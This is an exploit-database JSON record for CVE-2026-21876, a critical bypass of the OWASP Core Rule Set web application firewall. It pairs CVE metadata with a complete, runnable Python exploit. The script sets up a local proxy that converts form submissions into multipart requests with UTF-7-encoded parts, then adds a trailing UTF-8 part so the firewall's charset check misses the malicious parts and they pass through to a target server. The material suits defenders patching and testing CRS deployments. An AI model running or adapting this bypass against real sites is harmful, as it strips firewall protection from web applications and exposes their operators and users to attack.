{"exploit":{"id":"EDB-52558","name":"coreruleset 4.21.0 - Firewall Bypass","description":"coreruleset 4.21.0 - Firewall Bypass","cves":["CVE-2026-21876"],"author":"anonimicerum","published":"2026-05-13","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52558","path":"exploits/multiple/webapps/52558.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52558.py","vulnerabilities":[{"id":"CVE-2026-21876","state":"PUBLISHED","title":"OWASP CRS has multipart bypass using multiple content-type parts","titleSource":"CVE Program","description":"The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like `MULTIPART_PART_HEADERS`), the capture variables (`TX:0`, `TX:1`) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-21876","cvss":{"version":"3.1","baseScore":9.3,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-21876"},"updatedAt":"2026-04-09T15:41:17.073Z","retrievedAt":"2026-11-25T16:15:50.402Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52558.png?v=2","url":"https://exploitbin.com/exploits/EDB-52558","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52558/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52558/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: coreruleset 4.21.0 - Firewall Bypass\n# Date:* 04/08/2026*\n# Exploit Author: Daytrift Newgen\n# Vendor Homepage: https://github.com/coreruleset\n# Software Link: https://github.com/coreruleset/coreruleset\n# Version: < 4.22.0/3.3.8\n# Tested on: Fedora, MacOS\n# CVE : CVE-2026-21876\n\n\nimport base64\nimport os\nfrom cgi import parse_header\nfrom urllib.parse import parse_qsl\n\nfrom aiohttp import web, ClientSession, MultipartWriter\nfrom yarl import URL\n\n# Target\nUPSTREAM = os.getenv(\"UPSTREAM\", \"http://host:8083\")\n\nHOP_BY_HOP_HEADERS = {\n    \"connection\",\n    \"keep-alive\",\n    \"proxy-authenticate\",\n    \"proxy-authorization\",\n    \"te\",\n    \"trailer\",\n    \"transfer-encoding\",\n    \"upgrade\",\n}\n\ndef _make_upstream_url(request):\n    base = URL(UPSTREAM)\n    return str(\n        base.with_path(request.rel_url.path).with_query(request.rel_url.query)\n    )\n\ndef _copy_headers_for_upstream(request):\n    headers: dict[str, str] = {}\n    for k, v in request.headers.items():\n        lk = k.lower()\n        if lk in HOP_BY_HOP_HEADERS:\n            continue\n        if lk in {\"host\", \"content-length\"}:\n            continue\n        if lk == \"content-type\":\n            continue\n        headers[k] = v\n    return headers\n\ndef _utf7_encode(text):\n    result = b\"\"\n    for char in text:\n        utf16_bytes = char.encode('utf-16-be')\n        b64 = base64.b64encode(utf16_bytes).rstrip(b'=')\n        result += b'+' + b64 + b'-'\n    return result\n\n\ndef _form_urlencoded_to_multipart(body, content_type):\n    _, params = parse_header(content_type or \"\")\n    charset = params.get(\"charset\", \"utf-8\")\n\n    text = body.decode(charset, errors=\"replace\")\n    pairs = parse_qsl(text, keep_blank_values=True, strict_parsing=False, encoding=charset, errors=\"replace\")\n\n    mp = MultipartWriter(\"form-data\")\n    for key, value in pairs:\n        part = mp.append(_utf7_encode(value))\n        part.headers[\"Content-Type\"] = \"text/plain; charset=utf-7\"\n        part.set_content_disposition(\"form-data\", name=key)\n\n    part2 = mp.append('a'.encode(\"utf-8\"))\n    part2.set_content_disposition(\"form-data\", name=\"aBdC401\")\n    part2.headers[\"Content-Type\"] = \"text/plain; charset=utf-8\"\n\n    return mp, mp.content_type\n\nasync def handle(request):\n    upstream_url = _make_upstream_url(request)\n    headers = _copy_headers_for_upstream(request)\n\n    content_type = request.headers.get(\"Content-Type\", \"\")\n    body = await request.read()\n\n    data = body\n    if content_type.startswith(\"application/x-www-form-urlencoded\"):\n        mp, mp_content_type = _form_urlencoded_to_multipart(body, content_type)\n        data = mp\n        headers[\"Content-Type\"] = mp_content_type\n\n    async with request.app[\"session\"].request(\n        method=request.method,\n        url=upstream_url,\n        headers=headers,\n        data=data,\n        allow_redirects=False,\n#       proxy=\"http://127.0.0.1:8080\",\n    ) as resp:\n        resp_body = await resp.read()\n        response_headers = {\n            k: v for k, v in resp.headers.items()\n            if k.lower() not in HOP_BY_HOP_HEADERS\n        }\n\n    return web.Response(\n            status=resp.status,\n            headers=response_headers,\n            body=resp_body,\n        )\n\nasync def on_startup(app):\n    app[\"session\"] = ClientSession()\n\nasync def on_cleanup(app):\n    await app[\"session\"].close()\n\napp = web.Application(client_max_size=50 * 1024 * 1024)\napp.router.add_route(\"*\", \"/{tail:.*}\", handle)\napp.on_startup.append(on_startup)\napp.on_cleanup.append(on_cleanup)\n\nif __name__ == \"__main__\":\n    # Local proxy\n    web.run_app(app, host=\"0.0.0.0\", port=8085)","sha256":"7e58b89514090be36f41b5df05ee444b4a452c84ed992d87707bb8ddcebf705a","bytes":3592,"fetchedAt":"2026-11-26T11:05:05.085Z","encoding":"utf-8 (display only; download retains original bytes)"}